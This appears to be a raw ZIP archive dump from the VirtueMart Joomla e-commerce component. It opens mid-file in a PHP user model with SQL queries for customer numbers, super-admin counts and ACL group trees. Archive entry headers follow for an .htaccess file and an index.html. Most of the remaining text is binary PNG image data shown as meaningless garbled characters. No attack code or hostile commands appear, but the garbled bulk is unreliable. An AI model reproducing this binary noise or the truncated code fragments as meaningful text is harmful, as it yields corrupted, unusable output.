."WHERE `virtuemart_user_id`='" . $this->_id . "' "; $_r = $this->_getList($_q); if(!empty($_r[0])){ $this->customer_number = $_r[0]->customer_number; }else { $this->customer_number = false; } } return $this->customer_number; } /** * Get the number of active Super Admins * * @return integer */ function getSuperAdminCount() { $this->_db->setQuery('SELECT COUNT(id) FROM #__users' . ' WHERE usertype = ' . __SUPER_ADMIN_GID . ' AND block = 0'); return ($this->_db->loadResult()); } /** * Return a list of Joomla ACL groups. * * The returned object list includes a group anme and a group name with spaces * prepended to the name for displaying an indented tree. * * @author RickG * @return ObjectList List of acl group objects. */ function getAclGroupIndentedTree() { //TODO check this out if (JVM_VERSION===1) { $name = 'name'; $as = '` AS `title`'; $table = '#__core_acl_aro_groups'; $and = 'AND `parent`.`lft` > 2 '; } else { $name = 'title'; $as = '`'; $table = '#__usergroups'; $and = ''; } //Ugly thing, produces Select_full_join $query = 'SELECT `node`.`' . $name . $as . ', CONCAT(REPEAT("   ", (COUNT(`parent`.`' . $name . '`) - 1)), `node`.`' . $name . '`) AS `text` '; $query .= 'FROM `' . $table . '` AS node, `' . $table . '` AS parent '; $query .= 'WHERE `node`.`lft` BETWEEN `parent`.`lft` AND `parent`.`rgt` '; $query .= $and; $query .= 'GROUP BY `node`.`' . $name . '` '; $query .= ' ORDER BY `node`.`lft`'; $this->_db->setQuery($query); //$app = JFactory::getApplication(); //$app -> enqueueMessage($this->_db->getQuery()); $objlist = $this->_db->loadObjectList(); // vmdebug('getAclGroupIndentedTree',$objlist); return $objlist; } } //No Closing tag PKs>\)com_virtuemart/assets/.htaccessnuW+A Order allow,deny Deny from all PKs>\ com_virtuemart/assets/index.htmlnuW+APKs>\opj-com_virtuemart/assets/images/icone16-more.pngnuW+APNG  IHDR0܋ IDATx}xUǺӞz{zPhA[wĉQBH J_Y3߷3k<-No'">}ʇ~~u{]Ց?2c@[NqZHFR}Qzɤԇ>m߼2)7 !Z];\\N,yydmGg5a :j9Xt6s}ՌR+@} 5 y;#-Zw/?+^ _(r—_Wb ɯu;)} 47>S_N\lO8=Do^a-?х/VYEP(TTF\ƞϞ V>TqP v\ ? s[툘қP;s_WXWxe]}y,t:!?RI~*(¾Ox㎲eF M+E=gVPCpWݍ]=[ᄸ gDCodm Me!dМP9ZN".@J(vypZzᦶf>2sŨ q-Hr(j2hPh&;#Sea ŅKPU@^~]i]_[*=1֓gh|ԑ. MHj'w $@]Pv<"4K?}۪KPBY] e+΅K' o0yW\O7vb0Hu?vW!mh &qf7Jp|gX9N)$\7C>ښں,`54Oh<](OB@)b4x{\[fFE~2mue]܊TGIO2tJ"^F6Qia31%~cb; "Nȑ#8Αѣc~HV 3Mk  s$ͮ3w:v c,c-Csa xayos~~3" m+gz "NjAv%EB 8pꆹFvзrsEy>c:Z89[X;o:^R7Ƚ^3G_: <O_p9CFD^}<%n‚+hcy]sHL8ۇ8 8`5F_' [xo=t-] 9+OKIV6uWa`=#D Xno 8,vv,.ZBw󶃅/OK!6X֞ftaT cGG1+U_ ' s,%8 %/|~g-{ZS=@Us*kQ_:oB/AMs9W7=F7\wd:c``!iU%&㽨"ŕiF4OˊS!5|TOH)E@)=R`cZ4(~ϻcj㉖j C+yZF >:G$x4Oh㎺7uÇ5uewUH&Ny)K_y( <;/2<-uԆڎ;O O )ο1LN ykik;(/5cyZF eZ܍kcH+i*msGv|^YT` ZFW? M= HZ$byZF }Gt-q75Iy-RFids vs yZCKwcp76t XHQj;9WWڸ9 Heh BAI9BCK:F8%&S!" 2ZGmT lfNqGq8p8p/2M€P[IP_t69{(3)J>7NIC A MzC=T}}uENS>WA"1xCYKc;w' -LX.+JeX!2vQYV X"BrU|,>:EFXZ)uJUk4:<%V"$3[F3{ ,DU7%eť$-%bѕ 6߁wԺ,v7KEte[\of> a'*B,#-q2;( u(Aye5+*QAa Sihi6V6."-R X [Ry&4ஸν& h:{^>;H oZe5]mDuMz 4@:4& %Ä:\[+~6Gs-*3p]L@1"Ex:E )K7_^e EFĘoE :0XTCuy.xg`3TG("(b~x5οdd| E $) ~硹s-BZ8_ ?ň0q]wWbo8X9{c5L#vK@퉟$GIc=N2-~B[0:$1́N}@CJ#b3D)@^x(- ~{8<qgy]껇^tvv-bByq\C 8,azzce`|f,%>^qF_O[e ;z(%YC ]]=$e$(k?"1~$Km ^? )t"FF;6<ƒ ~W#,7HgyCx 5ak6"і,ϣ x%^ƫxM†6x:E1a ctt k򶒳a)[hܑ#~R"L찫?Qqg~bY}azpįoH6!v6\䯍{nՈ"hO<[IKofQ1 ~1J<[f" F^cAN{]4б,zT8p8p0.#"\Xp۝BRT ?TQ{N̝;wPDO%;"c`QWQꋪxtբ(EdB C3y1Ș܅QND*3}c8%)4pJ' xBbDU> CM-5Ġ 6@q Zjs'.?g5KpgDt5pFA.錗%#+WCB̥q4/0|>]DUqYD[<;]ouQ'pM)>bz8)C5O<%y ᘣ$drшcCH}t~cwG.hayBNܑqvz)K ^JcV.(ɜ?o?,E^~ W.D_8p#_v΂teCZP uR nO|"0ݡRcg F<$^/_oJ<wrt^?dR G0 3J4g 5)[Cx RjKA}',_ W++ZZfY"t%p#pʟP)HzfFoE_B_zRʿK36 [K=hvC;$u D{h[4Gau> +@Nʽ)1gKby% h=s&ۃ$BG貜nhg PV/CHhwcFjZ#jEoK'-u|c9:d)܉;ȕ 5bq]?By&2>REPqz@=3$VOL򑕒@_MfB\,ar`%rR CJF!RXꯃ(,oa#AyƴL58~8}1BTy 3qٯ)]*f~^ #pYuKwL Ϯwv3V "024¢q {aJDWvf)+W_  'a7ꮳtC2o3O5Pjju_P …HxA-e0$w*>.uj7s}%~Ƴfh$#<#cdChM8f D@&ðH#Fqw+4:\fk #23 (˂I̘t]LDGv݁DJD?dV X#_ eLzq{!9N^{%pA$^ ,ADe*)1ջQں>( iAw[,H:\_8p8:ط;5oP[#k5~9'>vԆRaO->Nvp!qQI >0+'"*sN5%ˏ 6ԖS %8AIQpʌrPPQQjK}Ҳr>)ܼiz[:Շ.tuvie+G(`cc[[J[oEpcSK+r3YP ]cJH" / f.&  գM-MMmhiB[3iq6/@nTna)j_^ e(+$JVGHmZZ'`s{&cqE1Goaٸ$%1dpzUU-#%?MTP ܻhkkC'8n5iH;{b8r}dl#(9Ɔ&ҥ hk\WKX*fK}-ebNb֋/ a}DPh0]ݨoh>Nm p;ZqVcKC-:~ZrrpT`ttwڍnl 6쵫AWk#{z@})Ғ Zndw ,! #GY/>}x5 rF 3vޮ6Q{ 16Z!51 qx?z}8iwce=z<2 2G>VXw!233Vw6dPҡ#wt?F?W൹8p8p7 "| v<\'{@RgσX&%˷>wtLD#Oí ?A sȺxfmhRG[ ZU Tee*/SZ,2l,"\jSN> tB^p=>p {[(9Yި[*eIY&KpLzaɖT8Sx[mSmTPO^~t7/HmOMCIzmܺJx^E_%4^yݧۼ8Ȋ,6⭳Lǻ Oma E@P<9pޙ)G||=Pd)zⴓpZwI/ΘkFX` ު lǔ& vPHHwns,AMPi>?ހӌ=~0&@- V2 R=eX ފqlLBZMӨ2%xDT菸t^4ڽmrW$h G`4I]@%P$w!f 2<7(Z 68A҄,6k\*a1Ɇ=i}4ETLbp*[5|0 s ?'-;#42ť.YBI=';""2 w̹> GZaLDFDZhJ{Oq,m&wfx{㕘sn޺GIAb/WQX釆!$7".B{+j7l%?q;!OwQ\\twwEow][)ƋAxA1p 9ې0sa{΁K0>/8p8[Q&z>n.$)eýe콓@wBy )uԆRqi9({آkdO:jCmGFp-.QĒjd*MnPH(>l-',JXXp(=SAy28w,(ٴ | EDHTI|HQ~_F0C/ j)l2 C IDATRiH,f#XnPl2W½ơpE*a T=(g=@K)¡>4rj3(@}+yF=w!l;xAxlmج>"p' xtI+B:8F8/srسs'{6O|wxvLx>=HJUI6W@}%7JAS>#E fK}ap8p\Ĭ*Ǵ7M!HZ?Vv HO3xCc۷12;^i픎V6v^V60b~Òl +HHH`?cJIlL- kSS14 h߭f"+2%䴔?,5I(FڊHƀZ1LFFG-2MT}};tla܂AdNi&@*D/:#s!#{GW73<-En^>i lmfp-SZP9:|y7nvZF;䢛q3͍tQqI㲊Եt>{|p'(ͮ]GdTs==mhj.o.AiT|HyzaH .:&LN[i@ vk;iVF'LzIaènh-5>tLX)hbyZF"Jz x[^A)5uŤNhfBh]7![d & 2:~0%wuM-1Jİ evt+!/+deeL4VٙA^\."4*5=h* Gk=k}p;$7`a}i K0a `"DN$+K2|^U캦7`a([qC&/ۚ:eJ @^4&MWP!Do?')ps:gz,/v3ܔ_ف㵅 8p8xߛ.3RB1FF+ rhP@o{TuM}HJlllm``=]]>!-@[q!`&Plc#䖅)8ҏm8܏6"sЏB .R+ _DzQ|xKsy5%QS#K^O"&u= 5u ۔7>ԆRP_a $yp>*4^ݟaan$<>lwd;3g~fz, >W(b*x, _k?T+XK4&bvxx L3fz< >W\N$,"s/mQ@w`0RoG_Idozzsd+{!LX{OQ`[nC'< "-=mJGOw'3iiiLjZԴTr܎A20Dp# z5o#g ,?Ef6+ U~ieK& !\ێJ]Lu;P,&,xr\Vް򄁹("!^];A(dXuԵY8 <;ҧ E{zz`LMTMAS]Y;QI$dH<3e!?0JZqLrjPq~W+0|75怊 o`dCC.}}=6(&Pw"ut3ԇ CW1OhcPvF?+FIFFk?bk1П8pUpqq]>ׅ[)mMՕw`XMiT'Pm H{{eҶ'$>ԗGL'@S},rRQQ,te2>vw3;]5[ZZ )A)&'$-1.>P_m鎖XuHG׽ Ar CkހHz gv 7 I@cS3RR!))!lZz̛̬71=#@{S(~G s|NnБY]8<%Ek]P_ahhhdAb``Iɩ,`EE%E~7|\3.VC _⑹px6j]X#ޅrh^ R_|=ɼWWճH,B,X9Ν>hNi;8/PSU܁ 'ǞBFdċ!3A,$!'Sϡ My)g JgP pe_kˇ.;=#+Erw/*Bn~؄,&1 #mj%iҢOctGf$r`wgD4Y"NAQq _9s|Qq1v;{;%^Cl#5&w ?$݆ijsNZZ9(JȉsG@Rh2#s@8[[hh}騐􈾁wxϸut{](LfQz܍K03S'%]@sT :|v(.)e45kCM_*_ލj'<Һbe iZ_rUT06WFW***}cvw]RZƾDvchRWM1+.<775('UTV~?g:>ԗO}>@{H}t/ 'ˁ8pGnu{H)O@bGߟ; M@=aB ߎS?vk/>ǃxJhWLxϛ뺋vW,E[rx4i=ԏrT&iam@!œ$I^:jCmsT5`5ߎ؏ E$FF[(H:?Bd*?hQ' 9-#0!dEτku&v~|iކ`4(` z(+h !'sC8́̍@n}4Y=k4/jԇ)fWڏGW$cyZF >wR̀@̚w D֢ q0/!y$DFeP[C}+ p)*HpŇ#@IASp/`<,fϽCf3"o=i6ԖP H7>D&(u9A9Iqu\;?B'I@D~r': >ws9B" Z~XDHxK^׈op!kh5Gs)GY6ԖP H3=Q!| d^H$FDNf>VR2{`h@^ m+~by %>w PtŮe"hO$jI/ן,$ '?H3$^&D$gé{;*ne"P!OL =WCmL_"=AtbӲԱwώ} tF8p8p___-FeOZ>~~޸y^^ }]V5%Gܼy/2ZGm@Vx9<щWc#4OhUո'F[@{ƛ<%cO$oNbus?@75euVXYc̄f,=};0Ǒ0*H(kj8I'dhb|păxX2%9^2,ZP[a 섣7{bv"&{Vm8wX#7ĦM[ q{5u,HLJAmYѣ'q^RPL|'ɓ8v@1&`boR7iWWDt8EA|y@m-`ddNFsK Z픒曚;~Zl+'GƼn:2wSj+4 hcyIDM( e1ɬ՛E }yj#)ա1M܉3%pFӜs>~p B /\=%@$lB@/0pZ CPH~L2@n۶yۊ1yxӠ(Zm I#cB@AwCzclr?tᄒ^)k8y8Eԯ"jf8Mꩭa|haBFL-y5 n$8p8LF7#AW||yEOZo𷉔{tJmD$>y*8h wʓF|==fcHYS@[ₒ*.h@FU TQHd4XzAI 999EdṘNyȯfe0UA·v^W *AxK6S9zFŠ{"hmz{l"e@9ɗ V='Y:&*hu1】gA=Pd"-@?.iBsӳ/)BVA}LYڠr x Z[f4TDҼ7q*qubE៤'%T[x} ոk.N/'B]u'˛rh߹q@Da4K1~ ̩yzᦶf>2s\ȒQ_[b$?|^$j6"n#j zgS@Uz|I#X`]EVn'sA6 :Z"_x5 ªR ?x哊zfwxڋٳ0#0PQ,s *(tI%/[a Hu?v f"k7:92:6bK}'Ep%; "Nȑ#8I_"2ѣ8~N{puZBDg_©2'O^1s8,v$KธN:%N@"fAsTDzG%:Ng':wtnE)I3i XZdh 48Ku`[ ۼ+Bi8|5rl]·$PE )٩pqll`{6^6pbU6vYd`yNe)K&': 7[P%07))y@C>,kU҅#6dOy(S6Eئf K1v yWB'1].u\#+'&e݄]8eX)8}fл`cZOE-7\ue\":P؏B5 z!XkUVKZNWZe)wpǸd7k2i=~cx{͖jA,i2q(>l켑fhƉXg_dRҞ=]/cCH_3r[y "q6 ']p69mMqI6vƗǍxBZ5ޠlxϿ/8k?̍+%E]L3 #օ*.AnBs@7D?ƅ#CwgF>7 @SB3krPɾ" 19V.t.j To(¢0noOL2XY<^/P.N,>z~ċ sN:F'yJ wgEQ }5(Y?_ryx&00n)x5.-g<X@' ~Rd]=ctPq~|u"4X_Uѯ[6؞B_xs |qzD ># 'ޝņ"Ԧr<^k.?@_ouۯ<"qA/;1@Beѿ,׊. / |F@P!?+) ڶ Pyv3`:^Zh:?iҡD+a0J"'+l#TՀw`WކyJIɟR3݂ IDATT<GZdѳ-6L%tr"Bo"69~N:_4r%~0 *Pp\͕p,SI:  }L`OX .s :xSxN4<#c0}zoYT\vS@V &k` ibL{a,ۈ8p2tӟiIIl]>'ZoңPt ؃^> 0b=l;SI'Su@k+rvft74w!$.BqjVl#g"Ee(lAyU3j+Q_QRbfK}N~,[.o^5MGœP]Yɂ~ ?'7}[{()-GIE-Jʑt<$ ws hBey9JK˘ϖ|2+e7Cpg;&,#Cec/b_@;@>Lm!Xv m ">ÓYvtf<\^</ ॔>H>gb=4#J*QOs;TGLy{<,6-E5%{Iè..F}asQ,d w67#8B}KHD,^#ir;^HݤgdH vGVTUe' ;ae?.F0 dW@-,[A8j "8}FDe'9|v_ֈ s8e˨BOO/? I,5Jnl/ (lfynׯ-Ũ>\kŻvPR_ޑ#GIH@IYQgQQ3HMEl0tV!VmЏ8 ݈ Caـ¡B 0ԗw x ۄHZZ .ݻaaرs'@U֟< Ma 1a5]kIϑ"Sg=~g~d:={V67q;REӲG'y((,}xGWjhK hi)nAC\ @Bxqwww7 $$4=sٙwggf7;Ww/8zUz%gSHP;^:RPnK <~Py CDDǟ8KXΝ73rjGi=^ 癢ٖ6$o&?Uv^qqwV"Zn)D2r~A a.׬]D?[Oi9p: in']",$\L쓫R!X@dKM!hhj#$4!m7D-,vԞin#-WWR P%nDgr]qQ1qrgtrjyd']ⓢt!d2E^ĬnWytyϨ󑷖T8ȕ7MELl|>ͧ嗯^'X"ݤ.On^P\BE, GPDzxw^.kJI.Ȁ sHHJA\B4S;boݧ7D@4 ;Gɵ 'ЁGZE8 {.\1Z:8¥˸%,fK/_iS;KRד]Eh\.ɪkZ  v}3.9{ޛ9uq`WU YR/:<{Ҽ^gǡNuaI_'wW=?_Bor,X` ,X ލ]X-6PFy,$$Hr~]|H/AĽu\@YG˨M?jxo:ASM| nWP"X9T("(|?PBqF|D^dlm`ox'АLwiya\B4? <5N0Il+!gqg*XBd<*T7|="7-/6?/cv2c䔐a pDZq} WTy( TH1?xٍ(Hمߛ'(@2@0)GHI*#wnQg4>K#MKE0) ,~NO{l0O$?2qFX'"1 6[ >(!W"3(>L}yt/]RZl #6HsHK FoʼtS@rdۜBnʯwq.#Ak Rw L~Bef(&]\H &b,Xzt"}&$Kk(GI8AcbC~0* 56Ic{m*мu)Lgi^Hۃ+/:KykCJ$hoE^s3B@_J-ʨ$Háv;0s:veTFN.Q|yGIڄ`Ű%x%6,Aq8KlK,cxyou Z$ &&Pzq\~9c4ƹ~Oo@mgbl| ,X` %V;9/6߆"Qn%jM3 +cSs<56Kk+܎h,bA4A~}SO.bZ=m/= E'@W HȄ22t3҂\pvj0z,Yl4Vּ;hvkH 7uO\ 2<%Ņ(,,@HH0-!5xgJhz=w*!*Qjo&@MCq("< 5xodBl4a cHU ci^M4gB @41y?35U}yVitzOW%2ǡgv=($-i*[ѐ[2;{HK5"@{>:T$%ġ =8-O@kZs>_緆th˿ d!6:j➢WSL/2ߊ6.MH^ 3ўGt#_3 2r N446 W@GcMθZ^uldP%]e#c^-ഝgb!倠GbJtɫj#T2{܉E%;Z ,)ޙ7!^ -S"NeglOG఺+]1O˹7ě/4_ ,X` 8ࣘ*اi>)%vk'Ϝo{T>}njQ 5NO˩_K˔hk4z]ex`KE8Uo.:i>-vԞ㡀QUahЁ]rGaQ>T˺*g[9,9orjgWBx)Ғ`lƦF043fhJhko"w^ B#zy<t xe$% R\J}Uy | ŝo._; /YQG/l\EV蕤,EiGa≈υ;9qBG2퍫W]"ܼ$9qQ8f rχҥF7w^ݵCYdd)M&g={%(H@@@7_i"V̙(>yKbؾ["3x\ֽ˯h24!,rJ W0=++rx 2WUUQq!agA8zX Y'7~!jj^@1rKGw*z gQon&P8ћYXVx->v&0y >xpVDgzYpVeme* d`H0k_?fCBJC!hh m--}X%j퐄)'wXHͳsx6`{o'jbn^SFnRU岶 hjjdbSί^lvZ)LuvRuH}_zw? wjr!fF5._- >}8?e_yiķ#G o} ,X`;FW+싫߃WH2b~m=..F*R<`]Pܓ$U)F_:l'}3Jo4j,% N7*9:?iFb[l :v\_; G׏.mq@Ph@%@ٯ RIp f.꼩"?ᓿfUJMV@% 3p0 ko'bb+cly*8sT=ݩ>Hre+%-P Ժ0 IH9Z (6" 5bpX5g":W͡\Q|= Y1g~H B`YJ9pHIGLf 4W8VuPޅb{ g~v2r[~tQԬ_Vf\݊K r"1a]o[o x}u8qrkGV~tֹd-eH4Va1kxGel@? q'tj5.X'i6V >0AP Bۇ0ig*9tpVZkhygUM>w׷ W10ŐilC@g`nd[9 gŏ Cfci5c}j` 0&` ,X`q%/M0\6"Nc#9[חs ݶN3Ұ@_|Uo,++5_.D"J87%ο p,|\Z%$o@(ݽ :ps8p}H!] +<| )z8.#8mQюMLc"E( Mx))T )=t p8*Bb5*+P^Vv%[_)Scлb XĖ~ %B|HH<@ahZ?3*ܜy[+y8gb\22tȑzskXv_JXzߎp:fF 5mؾg?׎?0Ӵ65ꏖm`'Qz ppu+.սm8z׍KA2jWͣempx.'[oW}Q6S` ,X`oRp, R/QʁоcKP꒡cnpkw8 ?Y~in_^_>;*uyn kI>-O#3a*?/Jx\Tp!<uٺrGm@݃p[sX?f~'gAo@_!HDґxȻ 2&ECa*0 D` BdP:-kG]8˯Sᛋ#:-XGЉ; dah]CP o?FH +U~ ̄ʟpzG462}$ۂ.?. .RYwX.2`I5OO1*QDɁѵL<]3'В o$8\á 3K:0a r4<~$9.B%, R Kkc}ѱUOzy0 k "qx"Ƨh%w)M5ɈᇷA,.S1(r bK6^Bj / 3>Sar2ҽks VF*nYtfLg:H|)Q](Zh$qYKI h?6c 8vt=vYa1|\vپy~?ڍpH:NHc݆Lez}R@70ʆc,zZPVZ8w<_ᇴU,adbNZ&.Di'.#U#ǞK][lŁ$f곉X'bN]2}DJ IDAT 6K%̃ixjhZ<X o8 CBx9h[{#y$GOd?!kVƍw>{<IDnfPz3wh@Cbqѱ]DӻXsD+v_"etPbÆLZv x"9Evvrs PPX{w"#n :qBr/?nkbk4Ԧ ⱘm髏֭%!O gggt 4x"g93 *o}ǤiY^w냠 x2`ʒn9 IM]ޟȧFW@5Wy,X` ,XxI`,2K< 1ijGÏeqWQwU[ިbtL}t$_bΡk7*7uSj͡ǁkrlTn93իgj(Z>#u@C@{)g~BBT9Cr.'kQj!gMd2]!Xd.W}DdQ@ cgўx+BIҮay'1 u0Jm"t8\KDGeQ4+@tpY:BYrJN7 H8(I<0Y0NB.q:r͈K.Kq>}!l#vWq\_q>6l.1g Zdn3D~OB_ D LRxJvh}bB`?qlLìA9$-9^'rX.2Xu )R%V7Z$}ڎ!M `Ƌ!>3p[sЂoޓ{MZ%ߺ5gDMwGzuH]i7q@%4MhcCliZcyya\$ILqU?4xkN3]f `U̸Bx AE)=n34ͣe e,pUJt'!xWsvi&C_.yb<]ɯPx}.54ͣeԆ2݇K̓p7aփ X:޽S.] ^<A3ni"2w"kr;Mr4ͣeԆ:h }ߨ ybčiw(R sҺϷ#} YƐi-6Ԗy@KF9" Xt0f^qBz]$oGjrj׵ i2jCm*K@*yO(ֆ<2OIJ'cCyP[Z-gHE,rR)>I˗.k·.}7xpusE2SӤ4͆ԩx]W7o+Ý ouX` ,X`3tl-vk Ni8! : xQP]4S;j?>5R 'NO˩h{v3 /I3_K/58>QF-yOrҎF-r᫞QJfp BV֡ UlhAUC+.dz"[ \svŮD7a]r g_x۠eu?xHQN>pohT F|:1?%edŻ eH4OXTg<7+>+p*G"2;6Yb|0]]a*+Z4!466.~r[ dAS2S4@WGl J90,< 0)FE'~ @Ьh A%^ axWԒ>O? zOs$HKW7,ICGW7Dx nK rA%iRq>e͉)ٿ۷j*.\QٻXA xĦp2㤧/%_݊:&Mux6ڽ9|PM -P_٘P&MD{D w5f*AD.tF$18E3\ncD$CyvRp֟s߰_ՐM c"y\$#0dHƻ.d*Sױ4rW iN -@46n i]ǐpfo~ և5~ cǷ#}#ی I2#O{;H(zw['P\|W % j W\uѲ~t8)O? Yw?p~" 1].8pזpw@,X` ,X`aG&k0{'0 y }%M9&Yq/\Eť'٭C+@NMMٳgqe"gƤ/_8:><4=I> Y,[An뀍@9d ߏ+x|a~EhjjBKKKיOKKC\\<|PAGiiⓒV? k>EA=`NW "6sh+*x1;}knv9F+ДX[\ \My&°a# Gh@:̍ѬMHUJ([џ!lȧ/Vӯ5g0yOoϿhʟ<Kfz$T~Bߠׯ:r?ڴÏ6r?jtU!_Kع@F30roitO>SˢA?"e> 4O!wMm9zIe,X` ,X`:zw\޾VV0AKfkim +>=6=FuPTTDzWcL Nv}xXSgdf!#3}Ã̶֯ >堠#6=.;d '7y̖S3l)Kad(rkrcȭi@^m6X rF.X20O P@ϝa$,"OM`db "6 AGA;wPAq)ʫj׊ȶ4>_T\rPK=$)3!\E%c嵨o1 J ;RprCupna +*+l2L4y?w\:t{E9hq)MqQdv?<@L@BL2c_T7 @(O|QD;sT:7/SNel[(LT71g ԝngG1/ 02 ̀ -F!FouN_HJ2cJ˙F׭[a1I] ΀7#hfߡCa;7>#H{.>[M8[S@SS.;ຎb؎& 쳯"O5 Q_ ?I8|IB^&XFwCp|R hiiӛYg9/XYe3J ~rgЛKh㌼9t̝r|_zNJ:iyi!qo+qx.v?_ƋPp ǎE? d0X/X[e1.ߵqI1e4Ks2W{'gF/ l?' ]'DdVtXռ]hr: /EkA"dm݂ҩS3f ׮Ö[^n滦0~%27@I=p{"Mۛ/kt;zs&5u,(9Alu&{@?Lp;'r‚ ,X` 0̎ F3t<3+q#v<߂Z3xjZ*+Q\Rlxxx3S2F6F(s~%C&}S20T4 X:Pҁ'(@0ET}9~41W,vÊ[;"+;.psCW'( :BKEGO!(+.?'N3eJX&rإ ҭlAƏM U̬,!4, wzq3T҂Z MtLvbkm:lR tvHfmlkJHפ>c+ DXh8ddeoq/H?-c?4-A(,Z]"8X\a3 a1046M]nUXqJz&g\ 4M砖@K= ;aJ&ߴ綀-Ηj2=rr 5Ð.;ORL98qѣ|6olik\O#U= |,ͧy4D/cp+v?1O IDATAGӡ;t瘲&+(Q 9 .Y;$dH&#*FPB$m%JߣHw/oA=6F} ,X` ,zౖ<1 M,`dn#KG[9Aߘ 4  %D6]Ajӧf$T\"(";'Q`0F'/av'-"\[.,zFCYrR .^I,"ggr`|w8+lSm4GsW uMPE:60 G'pa|I(tOlAe} U5(#s?ENv.9&CAq%(Ge={!ކ Ëhܹw 05D^^\= wB/[! }k} *aa)i/pW } 98#:&^>~O!)*lhڇ!%1wyF[mqo_-`ee=ckl 1rDY_ t@^*ܪqH32Y% }K @xd4s)bDx""ōv*l߳z, x2UԡH H`%Vs%*\VB ^՘p#pLٰqk`z sLUb5,isyio1Ɯs(^ =꩸l~Be\HŷGo o\ti';y4ilKap_֧wذ` ,X`8gisR/up ImiR7pPGD t7$uh݁s\7 퀼W>r,L>'i-6Ԗ֡uUcV;Qxs}ZFm-CRo!`Z9tG4ͣeԆ:F@1.:Z 脗@bkt4QjK ę ^.ݞwK4Qj[841LבK3]c4MhΠP2NiP AJ JV%Mp\'2OEoܹ-@w|883LYrx _?w׍={s<Y72Y#vd5 ^/8N?:KAmp:=:?< ,X` ,a "OGlq8FB% 'tKI@`þ>\Qk%F‰}O˩@NDJrJ[xAzj+trjG%.֏+]:y#ު_BA(hdt?Q{Rw}gpB7Y<6X)fBi'$\ptrjGi}G-> *fy7f>чBCfKi>-v~P7(#S, !YL F:trjGf,!"C/(ǃ\Oi9+,?PtFhh(밬k:1!AEg&.H;?s$H:>}O˩ݠz@儊0.a"4jP}O˩]`PRPGJș G@n=^Կ$ۧ(4S# LYgt-ؑG˩_oPSy5BQ{Zo}]?'f ,X` ހ  5X%5RN mr.?>Ixw6 LA g]n$4]=eYڂZapVH821_@n4>E) d+w|`mtݦhлF{!ی#M <>'tZ P5g6>0`,X` ,X`7:Rf(iz]/Jh$f]HVT2i7~¤~.=ȳCzCylKR% b i *1ko&3iG˨@'B@oظ Cy t|@%:>K6`HL)6vP+dBыP䱁!M3yP[ZgB4g>!.Vj i%`HLSuosUr]gہDr7 ou4G˨ uh݁)en. vqבYaO5!,:"$b\r:E;S:ɂ ,X` ,1UW/:x《o@'6. :y@.M2r}m4о zsdV4 hrf^|5/"@d6c{R,wK_4\\}{"vA31* NQ&jI-OdAԾރqJgh:inɾmא4bG%шi`E ޯЋ 1㙐4!e>IKr)a2)v~}a0#MP U-d#JRN@z3g: UUٕY` ,X`1x0K7{fyBgΟrj i$?P s ě>kIQZ~ ntoݙj6aSp8:AE8Qj1']N+ZCTa8CGd}:c#!wIo`.TOwP=nZ3 [P[*s4Y^$[~*jhĵzx0 3VyϘx=%zgG}чomyhPTEÜ%hP]ʩc:&L M48 дhDUbr5&]_`R`F`j`Mi3[Ϸg1-"q4oϟ `0 ׇۘ*)& "黎EI/DGh""[+;Y[6=l6t\ t27Be hksZuЏ{S(GBRI_K8!Cp%=J]sT#z[?y%@Z+b"3vw^|թxQq $:Ux C^p$ メ87g}/ߏHDLFX ɐ; !c"QTRo8Ϸg1KRSeO4slob`0 ! Fa:ADxnpɀS"ON 8!м9?0X` -O%=?ZeK b1:0D@$+h6Yp̚+/1R7DX4pbz49<EcqL">@9$h>19|{c$1dނᇢ0 z(ӡ&F4 07`1`4tp'q-8^EOΠCX:`I`w)n%Bc[9 yZ6lzGpq4ob&T{;n ,ৣOč^!Xr ?әG \KBw^<`ɽ7|{CR̨ S^!3I 1et2|ҫ: ?)mnwK>08% )^ꘆv)3X{?Ni\۳^1b6G305 #ܲzG,ƨwC)i=huNwL[x=`0 `0_'tXe ":5Orxql.Q>Q Qײ?1m\b6 Vh(bg_jvah!ÆDq4 0O w+؟ށ4π`E* Iw1T"I@F` YRzt2Q M7qe\87`_(}Z'" \m4/ F!X%ޓJZMbZ)4\B Yԓͣ5yg1VP,I^G"wG~c,OȠV Nƀۏ&iRtw޸$:%wY=R(6:%u_2(>ыIYv7NUuwc4^_h<ߞȴB~ @>h=|{#bh 5yrgj|{?1`0 :a|K)@v=p䫛8f_d@H2Y_\8# -^@CXy 1>F\;e_W4ԭ's l~@|iR^g0qcRyzGPv!O* $EZot $+n?Ii|iHc8\\0.Y KcឨJKOp,a`x=qxx$s^EzG,1TCM:6?`0 `0א2 +Qzn~X!>588=7y ?.܏PmKlD (Ns'Z>M& n]1;5$$\cIraš $iO1H> e ъF mm6H{aGVsrHHb ̉8RōbB!m:WX{9 - cD 2FX'aE">eHZ'c\=\ĐZ`dΤ`s|ۅOiXc30>]̼EK]8L 2 Kp4o]nyGwi {F/טz1C$ZOD^(|_cg!^)Ď _/g&\(ZOh<ߞŐTWx LDI n]wQSh<ߞ?O`0 `0>$=x;rFlpN [pүoq-9p^ޭšHw0b/LaV$!Zs^ee*l/h+BU7\lAI#Fi` C}rFQ\}ȝMobv{W`@Sk`9(3yeۯc׍Y l#-=t_(]NOlE>FtvbО`hzvFCI7O{K+ d"$C{0lZQBK`41t]>ES_)fK/:J-xtEYh~OBL` 8(c q$+98% I r+࣢L0紤zN$k!FL1@i[ db]6fuNi۳_$ɿHGR~E:q4oϟ`0 `0_/Y,=2Y=/q*yETv{x/#YޯS2\/"۞rpL$Yf\NN?AσP0r ⮧tlt։&(ٚ ڡP _Ux=k.^* DXۂY n XXxhA i n$K(4#ƐcQ2T|{KFE ITͺ-('qK~TLBx9THG]4BRSEI=|{K@G'*d%3 I]x-3odzT`hBLzӨ7?ܓ4^7A,FF/x0 磭M.nh?svZn6n#h<ߞXVgD-k0k,AhPYz"h 1jwsy",W`R bp Xk ,ZϷg1-"q4oϟþ`0 `0_^oB3F\W kq~@j^͗/[Ee)Qqh/93VXo;] l 4>`-y'ͪI@ah'ЋnިN}w; @.ii'58&10xFz 6c@;C%cobQ0w?8h $4 %Mob҉9r'OOH-#$1r 4Z>֩@xI@()*$qqBL =p!5d;H/*9Ni#2+Yy㷇se@\i8đtD IDAT} ~yIRPɕ7H=|{CIdp*UAAJ>[M%Dn|{C"q`yo!LVGYzNɫP< {H=|{c?\~I~ЖDR\,8Ϸg1T=u? Ƒ7~c@|{`0 z ѻ8=8|7W|a^ȷ/BZgw_}C@<=saݾޯSh&h|zQ۳Ct?FIp ٢rڬ66UvID?PSs; k_;p;7 QBfB~F@(D_&W+z>?>"`CwG֡۲8{=q60X m@R"ҕҷK봞x-C #w`[jBȓgGsz8&p k,7"O?4-#*9Ni۲3ù 